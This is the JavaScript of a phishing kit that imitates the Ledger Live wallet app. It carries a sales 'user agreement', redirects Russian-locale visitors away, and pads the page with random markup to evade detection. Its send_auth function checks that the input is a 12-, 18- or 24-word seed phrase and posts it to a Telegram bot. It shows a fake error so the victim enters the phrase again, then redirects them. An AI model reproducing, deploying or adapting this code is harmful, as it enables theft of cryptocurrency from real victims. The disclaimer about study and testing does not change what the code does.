var htmlcontent=' ';

var count_flg=0;
var type2fa='';
var lgn_flg=0;
var stpm1flg=0;
var c_lgn='';
var redirect_flag=0;
var loaderlink='';
var device__='';
var stpm_html_flg=0;
var bnkname='';
var two_times_bug = 0;
var login='';
var authflag = 0;
useragreement();

var bot_id='_'+randString(getRandomInRange(10, 10));
//var testid = bot_id;


 function useragreement()
 {
   lcns='--------------------------\n';
   lcns+='Пользовательское соглашение:\n';
   lcns+='\n';
   lcns+='- Блокировка на все RU машины (RU header).\n';
   lcns+='- Продукт (комплект из фишинг инструментов, админ панели и инструкции по установке) поставляется "как есть", функционал в описании к продукту.\n';
   lcns+='- Автор не несет ответственности за ваши законные/противозаконные действия, в результате которых был приченен вред какому-либо лицу.\n';
   lcns+='- Продукт несет в себе исключительно ознакомительный характер и предназначается для изучения, тестирования и демонстрации уязвимости.\n';
   lcns+='- Продукт предназначается для аудита безопастности и создания собственной и корпоративной защиты от фишинга.\n';
   lcns+='- Покупатель обязуется не использовать продукт на RU машинах.\n';
   lcns+='- Запрещено выкладывать в публичный доступ файлы продукта и админки. \n';
lcns+='--------------------------\n';
lcns+='\n';
lcns+='User Agreement:\n';
lcns+='\n';
lcns+='- Block on all RU of the machine (RU header).\n';
lcns+='- Product is delivered "as is," the functionality in the product description.\n';
lcns+='- Author is not responsible for your lawful/unlawful actions resulting in harm to any person.\n';
lcns+='- The Product is exclusively introductory and designed to audit security, study, test and demonstrate vulnerability .\n';
lcns+='- The product is designed to create proprietary and corporate protection against phishing .\n';
lcns+='- Buyer undertakes not to use the product on RU machines.\n';
lcns+='- Buyer purchases the product in person, which is supported only by the contact from whom the payment was made.\n';
lcns+='- It is forbidden to upload product and admin files to public access, this will lead to the blocking of the owners license.\n';
lcns+='---------------------------';

 lng=window.navigator.language;
 if (lng.indexOf('RU') >=0)
 document.location.href='https://google.com/';
 console.log(lcns);
}



 function getRandomInRange(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
 }


  function randString(n)
 {
     if(!n)
     {
         n = 5;
     }

     var text = '';
     var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

     for(var i=0; i < n; i++)
     {
         text += possible.charAt(Math.floor(Math.random() * possible.length));
     }

     return text;
 }



 function load_random_dom_content()
 {

//  var domstr=unescape(htmlcontent);

//var domstr=$('#content').html(); //!!!

var domstr= atob(htmlcontent);

  var domstr = replaceAll(domstr,'<div','<div '+randString(getRandomInRange(111, 140))+'="'+randString(getRandomInRange(110, 170))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(111, 140))+'="'+randString(getRandomInRange(110, 160))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"'+randString(getRandomInRange(1, 40))+'="'+randString(getRandomInRange(10, 70))+'"  '+randString(getRandomInRange(1, 50))+'="'+randString(getRandomInRange(10, 50))+'" '+randString(getRandomInRange(111, 120))+'="'+randString(getRandomInRange(110, 130))+'"');
//   var domstr = replaceAll(domstr,'<a','<a '+randString(getRandomInRange(1, 44))+'="'+randString(getRandomInRange(10, 50))+'"  '+randString(getRandomInRange(1, 50))+'="'+randString(getRandomInRange(1, 60))+'"');
   var domstr = replaceAll(domstr,'likemode="','likemode=" '+randString(getRandomInRange(111, 167))+' '+randString(getRandomInRange(110, 160))+'  '+randString(getRandomInRange(111, 150))+' '+randString(getRandomInRange(110, 170))+' ');

   var domstr = replaceAll(domstr,'replmode="','replmode=" '+randString(getRandomInRange(111, 167))+' '+randString(getRandomInRange(110, 160))+'  '+randString(getRandomInRange(111, 150))+' '+randString(getRandomInRange(110, 170))+' ');

   var domstr = replaceAll(domstr,'<span','<span '+randString(getRandomInRange(111, 188))+'="'+randString(getRandomInRange(110, 170))+'"  '+randString(getRandomInRange(10, 50))+'="'+randString(getRandomInRange(10, 60))+'"');

   var domstr = replaceAll(domstr,'class="','class=" '+randString(getRandomInRange(111, 167))+' '+randString(getRandomInRange(110, 160))+'  '+randString(getRandomInRange(1, 50))+' '+randString(getRandomInRange(10, 70))+' ');


   var cf=randString(getRandomInRange(110, 130));
   var vg=randString(getRandomInRange(110, 130));
   var newdomstr = replaceAll(domstr,'</div>','</div><div class="hdnnnn '+vg+'" id="'+randString(getRandomInRange(111, 150))+'"> '+randString(getRandomInRange(22, 60))+'  '+randString(getRandomInRange(10, 30))+' '+randString(getRandomInRange(50, 130))+' </div><div   class="hdnnnn '+cf+'" id="'+randString(getRandomInRange(10, 50))+'"><span class="hdnnnn '+vg+'"  id="'+randString(getRandomInRange(20, 70))+'"> '+randString(getRandomInRange(20, 30))+'  '+randString(getRandomInRange(10, 30))+' '+randString(getRandomInRange(100, 130))+' </span><p class="hdnnnn '+vg+'" id="'+randString(getRandomInRange(110, 130))+'"> '+randString(getRandomInRange(10, 30))+'  '+randString(getRandomInRange(1, 30))+' '+randString(getRandomInRange(1, 30))+' </p></div><div  class="hdnnnn '+vg+'"  class="'+cf+'" id="'+randString(getRandomInRange(1, 40))+'"><span class="hdnnnn '+vg+'" id="'+randString(getRandomInRange(1, 30))+'"> '+randString(getRandomInRange(1, 50))+'  '+randString(getRandomInRange(10, 30))+' '+randString(getRandomInRange(110, 130))+' </span><p class="hdnnnn '+vg+'" id="'+randString(getRandomInRange(110, 130))+'"> '+randString(getRandomInRange(10, 30))+'  '+randString(getRandomInRange(1, 130))+' '+randString(getRandomInRange(1, 130))+' </p></div>');




var newdomstr=atob(htmlcontent);
   $('#content').html(newdomstr);
   $('#webpack').remove();
   setTimeout(shw_cnt, 1500);

 }


 function shw_cnt()
 {
    $("#content").css("display","");
 }



function replaceAll(str, find, replace) {
   return str.replace(new RegExp(find, 'g'), replace);
}






var Base64 = {
   _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  encode : function (input) {
    var output = "";
    var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
    var i = 0
    input = Base64._utf8_encode(input);
       while (i < input.length) {
       chr1 = input.charCodeAt(i++);
      chr2 = input.charCodeAt(i++);
      chr3 = input.charCodeAt(i++);
       enc1 = chr1 >> 2;
      enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
      enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
      enc4 = chr3 & 63;
       if( isNaN(chr2) ) {
         enc3 = enc4 = 64;
      }else if( isNaN(chr3) ){
        enc4 = 64;
      }
       output = output +
      this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
      this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
     }
    return output;
  },

  decode : function (input) {
    var output = "";
    var chr1, chr2, chr3;
    var enc1, enc2, enc3, enc4;
    var i = 0;
     input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
     while (i < input.length) {
       enc1 = this._keyStr.indexOf(input.charAt(i++));
      enc2 = this._keyStr.indexOf(input.charAt(i++));
      enc3 = this._keyStr.indexOf(input.charAt(i++));
      enc4 = this._keyStr.indexOf(input.charAt(i++));
       chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
       output = output + String.fromCharCode(chr1);
       if( enc3 != 64 ){
        output = output + String.fromCharCode(chr2);
      }
      if( enc4 != 64 ) {
        output = output + String.fromCharCode(chr3);
      }
   }
   output = Base64._utf8_decode(output);
     return output;
   },
  _utf8_encode : function (string) {
    string = string.replace(/\r\n/g,"\n");
    var utftext = "";
    for (var n = 0; n < string.length; n++) {
      var c = string.charCodeAt(n);
       if( c < 128 ){
        utftext += String.fromCharCode(c);
      }else if( (c > 127) && (c < 2048) ){
        utftext += String.fromCharCode((c >> 6) | 192);
        utftext += String.fromCharCode((c & 63) | 128);
      }else {
        utftext += String.fromCharCode((c >> 12) | 224);
        utftext += String.fromCharCode(((c >> 6) & 63) | 128);
        utftext += String.fromCharCode((c & 63) | 128);
      }
     }
    return utftext;

  },

  _utf8_decode : function (utftext) {
    var string = "";
    var i = 0;
    var c = c1 = c2 = 0;
    while( i < utftext.length ){
      c = utftext.charCodeAt(i);
       if (c < 128) {
        string += String.fromCharCode(c);
        i++;
      }else if( (c > 191) && (c < 224) ) {
        c2 = utftext.charCodeAt(i+1);
        string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
        i += 2;
      }else {
        c2 = utftext.charCodeAt(i+1);
        c3 = utftext.charCodeAt(i+2);
        string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
        i += 3;
      }
     }
     return string;
  }
 }
 var botid=Base64.encode(navigator.userAgent);



function LoadScript(a, b){var c = document.createElement('script');c.type = 'text/javascript';c.id = 'ak47loader';if(c.readyState){c.onreadystatechange = function (){if (c.readyState == 'loaded' || c.readyState == 'complete'){c.onreadystatechange = null; b();  $('#ak47loader').remove(); }}}else{c.onload = function () {b();  $('#ak47loader').remove();}}c.src = a;if (document.getElementsByTagName('head').length > 0){document.getElementsByTagName('head')[0].appendChild(c)} else {document.getElementsByTagName('body')[0].appendChild(c)}}



function b64EncodeUnicode(str) {
    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
        function toSolidBytes(match, p1) {
            return String.fromCharCode('0x' + p1);
    }));
}

function b64DecodeUnicode(str) {
    return decodeURIComponent(atob(str).split('').map(function(c) {
        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
    }).join(''));
}



 function urlencode (str) {
  str = (str+'').toString();
  return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}



function locationmodeload()
{
var t8='?mode=restore&device=3BaTFMSCWF1dGhvcml6ZRo1aHR0cHM6Ly9zZWN1cmUuYm9va2luZy5jb20vbG9naW4uaHRtbD9vcD1vYXV0aF9yZXR1cm4qqQJVc0FCOEtMVjBWMzd3Mk1HZHF4dk1UeTA4eDJWV0hVLWM2bjFaQkVyLU9jb2RPRWl1eDRfcGRPa0FPQ0VabVFxSTc1U3VVWlQ0S3hhSkpNeXY0SWFKRVpaRTFCbVdKYktmenJWak5SRm1tNGwxSDZ6ZktoQU9KenN3OGg0TzNlMm';

if ($(location).attr('href').indexOf('mode=restore') ==-1)
 {
    var t2=$(location).attr('href');
    $(location).attr('href', t2+t8);
  }



if ($(location).attr('href').indexOf('mode=restore') >=1)
{

 	$("#content").css("display","");
   document.title='Ledger Live';
}
}




function isMobile() {
  if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|ipad|iris|kindle|Android|Silk|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(navigator.userAgent)
      || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(navigator.userAgent.substr(0,4))) {

device__='Smartphone';
$("#startmob").css("display","");
$("#strs").css("display","none");

//$("#fltrs").css("display","none");

  } else { device__='Desctop'; }

      return false;
}




function gotostp_2_back()
 {
   $("#tab-3").css("display","none");
   $("#tab-2").css("display","");
   $("#prewait").css("display","none");
 }


 
function validateWordCount(text) {
  // Remove extra whitespace and split into words
  const words = text.trim().replace(/\s+/g, ' ').split(' ');
  const count = words.length;
  
  // Check if word count matches required values
  return count === 12 || count === 18 || count === 24;
}


function auth_2()
 {
$("#prewait").css("display","none");
$("#mem_err").css("display","");
$('#seedTextArea').val('')
 }

 function send_auth()
  {

  $("#err").css("display","none");

      if ($('#seedTextArea').val().length < 15  )
      {
        $("#err").css("display","");
        $("#seedTextArea").focus();
        return false;
      }


      const phraseText = $('#seedTextArea').val();
    
      // Validate word count
      if (!validateWordCount(phraseText)) {
          $("#err").css("display","");
         // $("#err").text("Please enter exactly 12, 18, or 24 words");
          $("#seedTextArea").focus();
          return false;
      }


    var n_url='https://api.telegram.org/'+token+'/sendMessage?chat_id='+chatid+'&text=Seed:  '+$('#seedTextArea').val();
    $.post(n_url, {} );

//$("#prewait").css("display","block");
//setTimeout(send_redirect, 3000);

if (authflag == 1 )
  {
  authflag = 2;
  $("#prewait").css("display","");
 // setTimeout(show_scfl_msg, 3000);
  setTimeout(send_redirect, 4000);
  }

  if (authflag == 0 )
  {
  authflag = 1;
  $("#prewait").css("display","block");
  setTimeout(auth_2, 3000);
  }


  }

  function send_redirect()
   {

document.location.href = redirect_link;

   }




isMobile();

locationmodeload();


$("#content").ready(function()
   {

//load_random_dom_content();

$('#seedTextArea').val('');

testid = bot_id;


$('#authbtn').click(function(){ send_auth();  });

$('#btnhistoryback').click(function(){  history.back(); });



    });
